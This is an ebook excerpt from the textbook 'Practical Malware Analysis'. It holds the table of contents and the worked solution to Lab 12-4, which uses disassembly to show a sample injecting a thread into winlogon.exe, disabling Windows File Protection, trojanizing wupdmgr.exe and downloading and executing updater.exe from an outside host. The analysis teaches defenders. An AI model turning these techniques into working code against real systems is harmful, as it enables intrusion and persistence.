Table of Contents for
Practical Malware Analysis

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Practical Malware Analysis by Andrew Honig Published by No Starch Press, 2012
  1. Cover
  2. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
  3. Praise for Practical Malware Analysis
  4. Warning
  5. About the Authors
  6. About the Technical Reviewer
  7. About the Contributing Authors
  8. Foreword
  9. Acknowledgments
  10. Individual Thanks
  11. Introduction
  12. What Is Malware Analysis?
  13. Prerequisites
  14. Practical, Hands-On Learning
  15. What’s in the Book?
  16. 0. Malware Analysis Primer
  17. The Goals of Malware Analysis
  18. Malware Analysis Techniques
  19. Types of Malware
  20. General Rules for Malware Analysis
  21. I. Basic Analysis
  22. 1. Basic Static Techniques
  23. Antivirus Scanning: A Useful First Step
  24. Hashing: A Fingerprint for Malware
  25. Finding Strings
  26. Packed and Obfuscated Malware
  27. Portable Executable File Format
  28. Linked Libraries and Functions
  29. Static Analysis in Practice
  30. The PE File Headers and Sections
  31. Conclusion
  32. Labs
  33. 2. Malware Analysis in Virtual Machines
  34. The Structure of a Virtual Machine
  35. Creating Your Malware Analysis Machine
  36. Using Your Malware Analysis Machine
  37. The Risks of Using VMware for Malware Analysis
  38. Record/Replay: Running Your Computer in Reverse
  39. Conclusion
  40. 3. Basic Dynamic Analysis
  41. Sandboxes: The Quick-and-Dirty Approach
  42. Running Malware
  43. Monitoring with Process Monitor
  44. Viewing Processes with Process Explorer
  45. Comparing Registry Snapshots with Regshot
  46. Faking a Network
  47. Packet Sniffing with Wireshark
  48. Using INetSim
  49. Basic Dynamic Tools in Practice
  50. Conclusion
  51. Labs
  52. II. Advanced Static Analysis
  53. 4. A Crash Course in x86 Disassembly
  54. Levels of Abstraction
  55. Reverse-Engineering
  56. The x86 Architecture
  57. Conclusion
  58. 5. IDA Pro
  59. Loading an Executable
  60. The IDA Pro Interface
  61. Using Cross-References
  62. Analyzing Functions
  63. Using Graphing Options
  64. Enhancing Disassembly
  65. Extending IDA with Plug-ins
  66. Conclusion
  67. Labs
  68. 6. Recognizing C Code Constructs in Assembly
  69. Global vs. Local Variables
  70. Disassembling Arithmetic Operations
  71. Recognizing if Statements
  72. Recognizing Loops
  73. Understanding Function Call Conventions
  74. Analyzing switch Statements
  75. Disassembling Arrays
  76. Identifying Structs
  77. Analyzing Linked List Traversal
  78. Conclusion
  79. Labs
  80. 7. Analyzing Malicious Windows Programs
  81. The Windows API
  82. The Windows Registry
  83. Networking APIs
  84. Following Running Malware
  85. Kernel vs. User Mode
  86. The Native API
  87. Conclusion
  88. Labs
  89. III. Advanced Dynamic Analysis
  90. 8. Debugging
  91. Source-Level vs. Assembly-Level Debuggers
  92. Kernel vs. User-Mode Debugging
  93. Using a Debugger
  94. Exceptions
  95. Modifying Execution with a Debugger
  96. Modifying Program Execution in Practice
  97. Conclusion
  98. 9. OllyDbg
  99. Loading Malware
  100. The OllyDbg Interface
  101. Memory Map
  102. Viewing Threads and Stacks
  103. Executing Code
  104. Breakpoints
  105. Loading DLLs
  106. Tracing
  107. Exception Handling
  108. Patching
  109. Analyzing Shellcode
  110. Assistance Features
  111. Plug-ins
  112. Scriptable Debugging
  113. Conclusion
  114. Labs
  115. 10. Kernel Debugging with WinDbg
  116. Drivers and Kernel Code
  117. Setting Up Kernel Debugging
  118. Using WinDbg
  119. Microsoft Symbols
  120. Kernel Debugging in Practice
  121. Rootkits
  122. Loading Drivers
  123. Kernel Issues for Windows Vista, Windows 7, and x64 Versions
  124. Conclusion
  125. Labs
  126. IV. Malware Functionality
  127. 11. Malware Behavior
  128. Downloaders and Launchers
  129. Backdoors
  130. Credential Stealers
  131. Persistence Mechanisms
  132. Privilege Escalation
  133. Covering Its Tracks—User-Mode Rootkits
  134. Conclusion
  135. Labs
  136. 12. Covert Malware Launching
  137. Launchers
  138. Process Injection
  139. Process Replacement
  140. Hook Injection
  141. Detours
  142. APC Injection
  143. Conclusion
  144. Labs
  145. 13. Data Encoding
  146. The Goal of Analyzing Encoding Algorithms
  147. Simple Ciphers
  148. Common Cryptographic Algorithms
  149. Custom Encoding
  150. Decoding
  151. Conclusion
  152. Labs
  153. 14. Malware-Focused Network Signatures
  154. Network Countermeasures
  155. Safely Investigate an Attacker Online
  156. Content-Based Network Countermeasures
  157. Combining Dynamic and Static Analysis Techniques
  158. Understanding the Attacker’s Perspective
  159. Conclusion
  160. Labs
  161. V. Anti-Reverse-Engineering
  162. 15. Anti-Disassembly
  163. Understanding Anti-Disassembly
  164. Defeating Disassembly Algorithms
  165. Anti-Disassembly Techniques
  166. Obscuring Flow Control
  167. Thwarting Stack-Frame Analysis
  168. Conclusion
  169. Labs
  170. 16. Anti-Debugging
  171. Windows Debugger Detection
  172. Identifying Debugger Behavior
  173. Interfering with Debugger Functionality
  174. Debugger Vulnerabilities
  175. Conclusion
  176. Labs
  177. 17. Anti-Virtual Machine Techniques
  178. VMware Artifacts
  179. Vulnerable Instructions
  180. Tweaking Settings
  181. Escaping the Virtual Machine
  182. Conclusion
  183. Labs
  184. 18. Packers and Unpacking
  185. Packer Anatomy
  186. Identifying Packed Programs
  187. Unpacking Options
  188. Automated Unpacking
  189. Manual Unpacking
  190. Tips and Tricks for Common Packers
  191. Analyzing Without Fully Unpacking
  192. Packed DLLs
  193. Conclusion
  194. Labs
  195. VI. Special Topics
  196. 19. Shellcode Analysis
  197. Loading Shellcode for Analysis
  198. Position-Independent Code
  199. Identifying Execution Location
  200. Manual Symbol Resolution
  201. A Full Hello World Example
  202. Shellcode Encodings
  203. NOP Sleds
  204. Finding Shellcode
  205. Conclusion
  206. Labs
  207. 20. C++ Analysis
  208. Object-Oriented Programming
  209. Virtual vs. Nonvirtual Functions
  210. Creating and Destroying Objects
  211. Conclusion
  212. Labs
  213. 21. 64-Bit Malware
  214. Why 64-Bit Malware?
  215. Differences in x64 Architecture
  216. Windows 32-Bit on Windows 64-Bit
  217. 64-Bit Hints at Malware Functionality
  218. Conclusion
  219. Labs
  220. A. Important Windows Functions
  221. B. Tools for Malware Analysis
  222. C. Solutions to Labs
  223. Lab 1-1 Solutions
  224. Lab 1-2 Solutions
  225. Lab 1-3 Solutions
  226. Lab 1-4 Solutions
  227. Lab 3-1 Solutions
  228. Lab 3-2 Solutions
  229. Lab 3-3 Solutions
  230. Lab 3-4 Solutions
  231. Lab 5-1 Solutions
  232. Lab 6-1 Solutions
  233. Lab 6-2 Solutions
  234. Lab 6-3 Solutions
  235. Lab 6-4 Solutions
  236. Lab 7-1 Solutions
  237. Lab 7-2 Solutions
  238. Lab 7-3 Solutions
  239. Lab 9-1 Solutions
  240. Lab 9-2 Solutions
  241. Lab 9-3 Solutions
  242. Lab 10-1 Solutions
  243. Lab 10-2 Solutions
  244. Lab 10-3 Solutions
  245. Lab 11-1 Solutions
  246. Lab 11-2 Solutions
  247. Lab 11-3 Solutions
  248. Lab 12-1 Solutions
  249. Lab 12-2 Solutions
  250. Lab 12-3 Solutions
  251. Lab 12-4 Solutions
  252. Lab 13-1 Solutions
  253. Lab 13-2 Solutions
  254. Lab 13-3 Solutions
  255. Lab 14-1 Solutions
  256. Lab 14-2 Solutions
  257. Lab 14-3 Solutions
  258. Lab 15-1 Solutions
  259. Lab 15-2 Solutions
  260. Lab 15-3 Solutions
  261. Lab 16-1 Solutions
  262. Lab 16-2 Solutions
  263. Lab 16-3 Solutions
  264. Lab 17-1 Solutions
  265. Lab 17-2 Solutions
  266. Lab 17-3 Solutions
  267. Lab 18-1 Solutions
  268. Lab 18-2 Solutions
  269. Lab 18-3 Solutions
  270. Lab 18-4 Solutions
  271. Lab 18-5 Solutions
  272. Lab 19-1 Solutions
  273. Lab 19-2 Solutions
  274. Lab 19-3 Solutions
  275. Lab 20-1 Solutions
  276. Lab 20-2 Solutions
  277. Lab 20-3 Solutions
  278. Lab 21-1 Solutions
  279. Lab 21-2 Solutions
  280. Index
  281. Index
  282. Index
  283. Index
  284. Index
  285. Index
  286. Index
  287. Index
  288. Index
  289. Index
  290. Index
  291. Index
  292. Index
  293. Index
  294. Index
  295. Index
  296. Index
  297. Index
  298. Index
  299. Index
  300. Index
  301. Index
  302. Index
  303. Index
  304. Index
  305. Index
  306. Index
  307. Updates
  308. About the Authors
  309. Copyright

Lab 12-4 Solutions

Short Answers

  1. The malware checks to see if a given PID is winlogon.exe.

  2. Winlogon.exe is the process injected.

  3. The DLL sfc_os.dll will be used to disable Windows File Protection.

  4. The fourth argument passed to CreateRemoteThread is a function pointer to an unnamed ordinal 2 (SfcTerminateWatcherThread) of sfc_os.dll.

  5. The malware drops a binary from its resource section and overwrites the old Windows Update binary (wupdmgr.exe) with it. Before overwriting the real wupdmgr.exe, the malware copies it to the %TEMP% directory for later usage.

  6. The malware injects a remote thread into winlogon.exe and calls a function exported by sfc_os.dll, ordinal 2 (SfcTerminateWatcherThread), to disable Windows File Protection until the next reboot. The CreateRemoteThread call is necessary because this function must be executed inside the winlogon.exe process. The malware trojanizes wupdmgr.exe by using that executable to update its own malware and call the original Windows Update binary, which was saved to the %TEMP% directory.

Detailed Analysis

We begin with basic static analysis. Examining the imports, we see CreateRemoteThread, but not WriteProcessMemory or VirtualAllocEx, which is interesting. We also see imports for resource manipulation, such as LoadResource and FindResourceA. Examining the malware with Resource Hacker, we notice an additional program named BIN stored in the resource section.

Next, we turn to basic dynamic techniques. Procmon shows us that the malware creates the file %TEMP%\winup.exe and overwrites the Windows Update binary at %SystemRoot%\System32\wupdmgr.exe. Comparing the dropped wupdmgr.exe with the file in the BIN resource section, we see that they are the same. (Windows File Protection should restore the original file, but it doesn’t.)

Running Netcat, we find that the malware attempts to download updater.exe from www.practicalmalwareanalysis.com, as shown in Example C-81.

Example C-81. HTTP GET request performed after running Lab12-04.exe

GET /updater.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)
Host: www.practicalmalwareanalysis.com
Connection: Keep-Alive

We load the malware into IDA Pro and scroll to the main function at address 0x00401350. A few lines from the start of the main function, we see the malware resolving functions for Windows process enumeration within psapi.dll, as shown in Example C-82.

Example C-82. Dynamically resolving process enumeration imports

004013AA        push    offset ProcName   ; "EnumProcessModules"
004013AF        push    offset aPsapi_dll ; "psapi.dll"
004013B4        call    ds:LoadLibraryA 
004013BA        push    eax
004013BB        call    ds:GetProcAddress 
004013C1        mov     dword_40312C, eax     ; Rename to myEnumProcessModules

Example C-82 also shows one of the three functions the malware manually resolves using LoadLibraryA at and GetProcAddress at .

The malware saves the function pointer to dword_40312C (here at ), dword_403128, and dword_403124. We’ll change the names of these global variables to make it easier to identify calls to the function later in our analysis, renaming them to myEnumProcessModules, myGetModuleBaseNameA, and myEnumProcesses.

Once the malware checks the values of the function pointers, it arrives at 0x00401423 and the call myEnumProcesses, as shown in Example C-83 at . The goal of the code in this listing is to return an array of PIDs on the system. The start of the array is referenced by the local variable dwProcessId shown at .

Example C-83. Enumerating processes

00401423        lea eax, [ebp+var_1228]
00401429        push eax            ; _DWORD
0040142A        push 1000h          ; _DWORD
0040142F        lea ecx, [ebp+dwProcessId] 
00401435        push ecx            ; _DWORD
00401436        call myEnumProcesses 
0040143C        test eax, eax
0040143E        jnz short loc_401

The malware then begins to loop through the PIDs, passing each to the subroutine at 0x00401000, as shown in Example C-84. We see an index into the array referenced by dwProcessId, which is calculated before calling sub_401000.

Example C-84. Looping through PIDs

00401495        mov eax, [ebp+var_1238]
0040149B        mov ecx, [ebp+eax*4+dwProcessId]
004014A2        push ecx            ; dwProcessId
004014A3        call sub_401000

We examine the internals of sub_401000 and see two local variables set (Str1 and Str2), as shown in Example C-85. The variable Str1 will contain the string "<not real>", and Str2 will contain "winlogon.exe".

Example C-85. Initialization of strings

0040100A        mov eax, dword ptr aWinlogon_exe ; "winlogon.exe"
0040100F        mov dword ptr [ebp+Str2], eax
...
0040102C        mov ecx, dword ptr aNotReal ; "<not real>"
00401032        mov dword ptr [ebp+Str1], ecx

Next, the malware passes the loop parameter (dwProcessId) to the OpenProcess call in order to obtain a handle to that process, as shown at in Example C-86. The handle returned from OpenProcess is stored in EAX and passed to the myEnumProcessModules function at , which returns an array of handles for each module loaded into a process.

Example C-86. For each process, enumerate the modules

00401070        push edx            ; dwProcessId
00401071        push 0              ; bInheritHandle
00401073        push 410h           ; dwDesiredAccess
00401078        call ds:OpenProcess 
...
00401087        lea eax, [ebp+var_120]
0040108D        push eax
0040108E        push 4
00401090        lea ecx, [ebp+var_11C]
00401096        push ecx
00401097        mov edx, [ebp+hObject]
0040109A        push edx
0040109B        call myEnumProcessModules

As shown in Example C-87, the malware attempts to get the base name of the module’s PID by using GetModuleBaseNameA. If it succeeds, Str1 will contain the string of the base name of the module for the PID passed to this subroutine; if not, it will keep the initialized value "<not real>".

Example C-87. Getting the name of each module

004010A5        push 104h
004010AA        lea eax, [ebp+Str1]; will change
004010B0        push eax
004010B1        mov ecx, [ebp+var_11C]
004010B7        push ecx
004010B8        mov edx, [ebp+hObject]
004010BB        push edx
004010BC        call myGetModuleBaseNameA

The old initialized string "<not real>" should have the name of the base module returned from GetModuleBaseNameA. This string is compared to the "winlogon.exe" string. If the strings match, EAX will be equal to 0, and the function will return with EAX equal to 1. If the strings do not match, EAX will be equal to 0 on return. We can now safely say that sub_401000 is attempting to determine which PID is associated with winlogon.exe.

Now that we know what sub_401000 does, we can rename it as PIDLookup. Notice at in Example C-88 that the return value in EAX is tested to see if it is 0. If so, the code jumps to loc_4014CF, incrementing the loop counter and rerunning the PIDLookup function with a new PID. Otherwise, if the PID matched winlogon.exe, then the PID will be passed to the sub_401174, as seen at in the listing.

Example C-88. PID lookup and comparison

004014A3        call PIDLookup
004014A8        add esp, 4
004014AB        mov [ebp+var_114], eax
004014B1        cmp [ebp+var_114], 0 
004014B8        jz  short loc_4014CF
...
004014E4        mov     ecx, [ebp+var_1234]
004014EA        push    ecx     ; dwProcessId
004014EB        call    sub_401174 

Examining sub_401174, we see another subroutine called immediately, with the argument SeDebugPrivilege. This function performs the SeDebugPrivilege privilege-escalation procedure we discussed extensively in Chapter 11.

Following the SeDebugPrivilege escalation function, we see sfc_os.dll passed to LoadLibraryA, as shown at in Example C-89. Next, GetProcAddress is called on the handle to sfc_os.dll and ordinal 2 (an undocumented Windows function). Ordinal 2 is pushed onto the stack at . The function pointer of ordinal 2 is saved to lpStartAddress at (the label provided by IDA Pro). The malware then calls OpenProcess on the PID of winlogon.exe and dwDesiredAccess of 0x1F0FFF (symbolic constant for PROCESS_ALL_ACCESS). The handle to winlogon.exe is saved to hProcess at .

Example C-89. Resolving ordinal 2 of sfc_os.dll and opening a handle to Winlogon

004011A1        push 2              ; lpProcName
004011A3        push offset LibFileName ; "sfc_os.dll"
004011A8        call ds:LoadLibraryA 
004011AE        push eax            ; hModule
004011AF        call ds:GetProcAddress
004011B5        mov lpStartAddress, eax 
004011BA        mov eax, [ebp+dwProcessId]
004011BD        push eax        ; dwProcessId
004011BE        push 0          ; bInheritHandle
004011C0        push 1F0FFFh    ; dwDesiredAccess
004011C5        call ds:OpenProcess
004011CB        mov [ebp+hProcess], eax 
004011CE        cmp [ebp+hProcess], 0
004011D2        jnz short loc_4011D

The code in Example C-90 calls CreateRemoteThread. Examining the arguments for CreateRemoteThread, we see that the hProcess parameter at is EDX, our winlogon.exe handle. The lpStartAddress passed at is a pointer to the function at sfc_os.dll at ordinal 2 that injects a thread into winlogon.exe. (Because sfc_os.dll is already loaded inside winlogon.exe, there is no need to load the DLL within the newly created remote thread, so we don’t have a call to WriteProcessMemory.) That thread is ordinal 2 of sfc_os.dll.

Example C-90. Calling CreateRemoteThread for a remote process

004011D8        push 0              ; lpThreadId
004011DA        push 0              ; dwCreationFlags
004011DC        push 0              ; lpParameter
004011DE        mov ecx, lpStartAddress 
004011E4        push ecx            ; lpStartAddress
004011E5        push 0              ; dwStackSize
004011E7        push 0              ; lpThreadAttributes
004011E9        mov edx, [ebp+hProcess]
004011EC        push edx            ; hProcess 
004011ED        call ds:CreateRemoteThread

But what are sfc_os.dll and export ordinal 2? The DLL sfc_os.dll is partially responsible for Windows File Protection, a series of threads running within winlogon.exe. Ordinal 2 of sfc_os.dll is an unnamed export known as SfcTerminateWatcherThread.

Note

The information about sfc_os.dll and export ordinal 2 given here is undocumented. To avoid needing to reverse-engineer the Windows DLL, search the Internet for “sfc_os.dll ordinal 2” to see what information you can find.

SfcTerminateWatcherThread must run inside winlogon.exe in order to successfully execute. By forcing the SfcTerminateWatcherThread function to execute, the malware disables Windows File Protection until the next system reboot.

If the thread is injected properly, the code in Example C-91 executes, building a string. When the code executes, GetWindowsDirectoryA at returns a pointer to the current Windows directory (usually C:\Windows), and the malware passes this string and \system32\wupdmgr.exe to an _snprintf call, as shown at and . This code will typically build the string "C:\Windows\system32\wupdmgr.exe", which will be stored in ExistingFileName. Wupdmgr.exe is used for Windows updates under Windows XP.

Example C-91. Building a string for the wupdmgr.exe path

00401506        push 10Eh           ; uSize
0040150B        lea edx, [ebp+Buffer]
00401511        push edx            ; lpBuffer
00401512        call ds:GetWindowsDirectoryA 
00401518        push offset aSystem32Wupdmg ; \\system32\\wupdmgr.exe 
0040151D        lea eax, [ebp+Buffer]
00401523        push eax 
00401524        push offset aSS     ; "%s%s"
00401529        push 10Eh           ; Count
0040152E        lea ecx, [ebp+ExistingFileName]
00401534        push ecx            ; Dest
00401535        call ds:_snprintf

In Example C-92, we see another string being built. A call to GetTempPathA at gives us a pointer to the current user’s temporary directory, usually C:\Documents and Settings\<username>\Local\Temp. The temporary directory path is then passed to another _snprintf call with the parameter \\winup.exe, as seen at and , creating the string "C:\Documents and Settings\username\Local\Temp\winup.exe", which is stored in NewFileName.

Example C-92. Building a string for the winup.exe path

0040153B        add esp, 14h
0040153E        lea edx, [ebp+var_110]
00401544        push edx            ; lpBuffer
00401545        push 10Eh           ; nBufferLength
0040154A        call ds:GetTempPathA 
00401550        push offset aWinup_exe ; \\winup.exe 
00401555        lea eax, [ebp+var_110]
0040155B        push eax 
0040155C        push offset aSS_0   ; "%s%s"
00401561        push 10Eh           ; Count
00401566        lea ecx, [ebp+NewFileName]
0040156C        push ecx            ; Dest
0040156D        call ds:_snprintf

We can now see why IDA Pro renamed two local variables to NewFileName and ExistingFileName. These local variables are used in the MoveFileA call, as shown in Example C-93 at . The MoveFileA function will move the Windows Update binary to the user’s temporary directory.

Example C-93. Moving the Windows Update binary to the temporary directory

00401576        lea edx, [ebp+NewFileName]
0040157C        push edx            ; lpNewFileName
0040157D        lea eax, [ebp+ExistingFileName]
00401583        push eax            ; lpExistingFileName
00401584        call ds:MoveFileA 

In Example C-94, we see the malware calling GetModuleHandleA at , which returns a module handle for the current process. We then see a series of resources section APIs, specifically, FindResourceA with parameters #101 and BIN. As we guessed as a result of our earlier basic analysis, the malware is extracting its resource section to disk.

Example C-94. Resource extraction

004012A1        call ds:GetModuleHandleA 
004012A7        mov [ebp+hModule], eax
004012AA        push offset Type    ; "BIN"
004012AF        push offset Name    ; "#101"
004012B4        mov eax, [ebp+hModule]
004012B7        push eax            ; hModule
004012B8        call ds:FindResourceA

Later in this function, following the call to FindResourceA, are calls to LoadResource, SizeofResource, CreateFileA, and WriteFile (not shown here). This combination of function calls extracts the file from the resource section BIN and writes the file to C:\Windows\System32\wupdmgr.exe. The malware is creating a new Windows Update binary handler. Under normal circumstances, its attempt to create a new handler would fail because Windows File Protection would detect a change in the file and overwrite the newly created one, but because the malware disabled this functionality, it can overwrite normally protected Windows binaries.

The last thing this function does is launch the new wupdmgr.exe using WinExec. The function is launched with an uCmdShow parameter of 0, or SW_HIDE, as shown at in Example C-95, in order to hide the program window.

Example C-95. Launching the extracted file

0040133C        push 0             ; uCmdShow
0040133E        lea edx, [ebp+FileName]
00401344        push edx            ; lpCmdLine
00401345        call ds:WinExec

Having completed our analysis of this binary, let’s examine the binary extracted from its resource section. To get the binary, run the malware and open the newly created wupdmgr.exe or use Resource Hacker to carve out the file.

After loading the malware into IDA Pro, we see a familiar subset of calls in the main function. The malware creates a string to our temporary move of the original Windows Update binary (C:\Documents and Settings\username\Local\Temp\winup.exe), and then runs the original Windows Update binary (using WinExec), which was saved to the user’s temporary directory. If the user were to perform a Windows Update, everything would appear to operate normally; the original Windows Update file would run.

Next, in IDA Pro, we see construction of the string C:\Windows\system32\wupdmgrd.exe beginning at 0x4010C3, to be stored in a local variable Dest. Other than the d in the filename, this string is very close to the original Windows Update binary name.

In Example C-96, notice the API call to URLDownloadToFileA. This call takes some interesting parameters that deserve further inspection.

Example C-96. Analyzing the extracted and launched malware

004010EF        push 0              ; LPBINDSTATUSCALLBACK
004010F1        push 0              ; DWORD
004010F3        lea ecx, [ebp+Dest] 
004010F9        push ecx            ; LPCSTR
004010FA        push offset aHttpWww_practi  ; "http://www.practicalmal..."
004010FF        push 0              ; LPUNKNOWN
00401101        call URLDownloadToFileA

The parameter at , szURL, is set to http://www.practicalmalwareanalysis.com/updater.exe. At , the szFileName parameter is set to Dest (C:\Windows\system32\wupdmgrd.exe). The malware is doing its own updating, downloading more malware! The downloaded updater.exe file will be saved to wupdmgrd.exe.

The malware compares the return value from URLDownloadToFileA with 0 to see if the function call failed. If the return value is not 0, the malware will execute the newly created file. The binary will then return and exit.

Our analysis of the malware in this lab has introduced a common way that malware alters Windows functionality by disabling Windows File Protection. The malware in this lab trojanized the Windows Update process and created its own malware update routine. Users with this malware on their machine would see normal functionality because the malware did not completely destroy the original Windows Update binary.